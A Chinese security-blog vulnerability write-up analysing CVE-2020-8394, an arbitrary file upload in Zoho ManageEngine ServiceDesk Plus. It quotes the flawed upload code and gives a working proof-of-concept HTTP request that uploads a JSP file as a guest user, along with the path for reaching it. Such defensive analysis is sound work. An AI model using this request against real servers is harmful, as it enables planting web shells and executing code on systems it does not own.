FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)

阅读量427888

发布时间 : 2020-12-25 17:00:34

 

前言

最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗。虽然目前尚不清楚这些红队工具将被如何处置,但FireEye 公司在 GitHub 上发布了一些应对措施。奇安信代码安全实验室将从技术角度,对 GitHub 仓库中的相关漏洞进行分析复现,希望能给读者带来一些启发,做好防御措施。

 

漏洞简介

Zoho企业的产品 Zoho ManageEngine ServiceDesk Plus 是一套IT互联网服务管理软件,拥有资产管理、采购管理、合同管理等功能模块,提供一流的IT支持服务。

ServiceDesk Plus10.0 build 10012之前的版本产品存在任意文件上传漏洞。具体来说,SDJSPClasses.jar包的FileAttachment_jsp.class仅检查module参数为“SSP”、“DashBoard”、“HomePage”时的上传文件类型,而未检查module参数为“CustomLogin”时的上传文件类型,导致恶意分子采用低权限guest用户即能上传、并任意访问jsp类可执行命令的脚本文件。

 

受影响产品

Zohocorp ManageEngine ServiceDesk Plus

 

受影响版本

9.4 and 10.0 before 10.0 build 10012

 

修复版本

version>=10.0 build 10013

 

漏洞验证环境

Ubuntu16.04(服务器)
Windows 10(攻击机)

 

漏洞分析与利用

分析文件上传逻辑,确定缺陷位置并上传文件。

第一步,在服务端安装 Zohocorp ManageEngine ServiceDesk Plus 10.0 build 10000,随后启动服务,下图表示启动成功。

第二步,在攻击机中,采用 Burp Suite 捕获低权限guest用户的cookie信息和数据包,以便开展后续POC的构建工作,如下。

第三步,分析服务端文件上传核心代码。打开\ManageEngine\ServiceDesk\lib\SDJSPClasses.jar! \org\apache\jsp\common\FileAttachment_jsp.class,核心的文件上传检测代码和注释信息如下。

    if (sizeOfFile < maxSize) {
        limitExceeded = false;
        filePath = "Attachments" + filSep + module + filSep + value;
//                                            如果module参数是"CustomLogin",则直接将文件上传至路径"../custom/login"
        if (module.equals("CustomLogin")) {
            filePath = ".." + filSep + "custom" + filSep + "login";
        }
​
        File uploadedFile = new File(filePath + filSep + fileName);
//                                            如果module参数是"SSP"、"DashBoard"、"HomePage",则检查文件后缀是否是“htm”或“html”,如不是,则拒绝上传
        if (module.equals("SSP") || module.equals("DashBoard") || module.equals("HomePage")) {
            String ext = "";
            int i = fileName.lastIndexOf(46);
            if (i > 0) {
                ext = fileName.substring(i + 1);
                if (!ext.equals("htm") && !ext.equals("html")) {
                    out.write("\n         <li id='sspattachresponse'>ssp.widget.onAttachEmpty</li>");
                    out.write("\n      ");
                    return;
                }
​
                filSep = "/";
                filePath = ".." + filSep + "custom" + filSep + "widgets" + filSep + module;
                if (module.equals("DashBoard")) {
                    String view = request.getParameter("view");
                    filePath = ".." + filSep + "custom" + filSep + "widgets" + filSep + module + filSep + view;
                }
​
                uploadedFile = new File(filePath + filSep + fileName);
                int attIndex = false;
                int attIndex = fileName.lastIndexOf(".");
                String name = fileName;
                ext = "";
                if (attIndex != -1) {
                    name = fileName.substring(0, attIndex);
                    ext = fileName.substring(attIndex);
                }
​
                int j = 0;
​
                String fileName1;
                for(fileName1 = fileName; uploadedFile.exists(); uploadedFile = new File(filePath + filSep + fileName1)) {
                    fileName1 = name + "(" + j + ")" + ext;
                    ++j;
                }
​
                fileName = fileName1;
            }
        }
​
        File mkdir = new File(filePath);
        mkdir.mkdirs();
        item.wri

分析可知,服务器首先判断module参数是否为“CustomLogin”,如是,则可直接上传任意类型的文件至服务端,程序执行完毕;否则继续执行代码,进入 module 参数属于 “SSP”、”DashBoard”、”HomePage” 的判别过程。如果module 参数为 “SSP”、”DashBoard” 或 “HomePage”,则进行安全过滤仅可上传 “htm”、“html” 类型文件至服务端。因此,当 module 参数是 “CustomLogin” 时,可以上传 jsp 脚本文件。

第四步,构造 PoC。在 Burpsuite 中,构造数据包如下。

POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1
​
Host: 192.168.6.135:8081
​
Content-Length: 366
​
Accept: */*
​
Origin: http://192.168.6.135:8081
​
X-Requested-With: XMLHttpRequest
​
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
​
Content-Type: multipart/form-data; boundary=----aaa
​
Referer: http://192.168.6.135:8081/DashBoard.do
​
Accept-Encoding: gzip, deflate
​
Accept-Language: en-US,en;q=0.9,vi;q=0.8
​
Cookie: sdpcsrfcookie=bd678a1d-28b9-4eae-9d5d-f3a7e6f0bd88; servicedeskplus-_zldp=LsfUh%2FKeku9L3s3nPEJp8WNr%2BtCatkARgcAlZRum6ctL03zZZshSooiaABpQbhelmKwM1K1ctjo%3D; servicedeskplus-_zldt=01bc454f-6f2a-492e-889a-6d6b6ffde97d-2; SDPSESSIONID=B7BB216915E8FB5476DA8774161B9474; JSESSIONID=A7BEE85ED00E1AD81BB9E8081BA49D7D; JSESSIONIDSSO=601A38BD1F283CA55D289D78564E09CA
​
Connection: close
​
​
​
------aaa
​
Content-Disposition: form-data; name="sspsetup"
​
​
​
Attach
​
------aaa
​
Content-Disposition: form-data; name="module"
​
​
​
CustomLogin
​
------aaa
​
Content-Disposition: form-data; name="filePath"; filename="test.jsp"
​
Content-Type: text/html
​
​
​
This is shell content
​
------aaa
​
Content-Disposition: form-data; name="hmtlcontent"
​
​
​
​
​
------aaa--

分析可知,访问拥有文件上传功能的核心代码,设置 module 参数为 “CustomLogin”,在内容栏设置test.jsp文件的内容是 “This is shell content”。

第五步,访问脚本文件。重新启动服务后,直接访问脚本文件。例如http://192.168.6.135:8081/custom/login/test.jsp,如下。

观察可知,成功访问脚本文件,说明任意文件上传成功。

 

总结

本文分析Zoho ManageEngine的任意文件上传漏洞,作者认为此漏洞由未过滤上传文件类型造成,使脚本文件被上传并利用;学习人员应提升java web知识,以顺利分析并利用输入参数的过滤缺陷。

 

参考文献

(1) Index of /service-desk/10000
http://archives.manageengine.com/service-desk/10000/

(2) 手册
https://www.manageengine.cn/products/service-desk/help/adminguide/introduction/start-servicedeskplus-server.html

(3) Zoho ManageEngine ServiceDesk Plus (SDP) < 10.0 build 10012 – Arbitrary File Upload – JSP webapps Exploit
https://www.exploit-db.com/exploits/46413

关于 FireEye 红队失窃工具的漏洞分析系列文章暂告一段落,我们会随时关注相关漏洞的进展,敬请关注~

本文由奇安信代码卫士原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/226239

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
奇安信代码卫士
分享到:微信

发表评论

奇安信代码卫士

奇安信代码卫士是国内第一家专注于软件开发安全的产品线,产品涵盖代码安全缺陷检测、软件编码合规检测、开源组件溯源检测三大方向,分别解决软件开发过程中的安全缺陷和漏洞问题、编码合规性问题、开源组件安全管控问题。微信公号:codesafe。

  • 文章
  • 387
  • 粉丝
  • 104

热门推荐

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66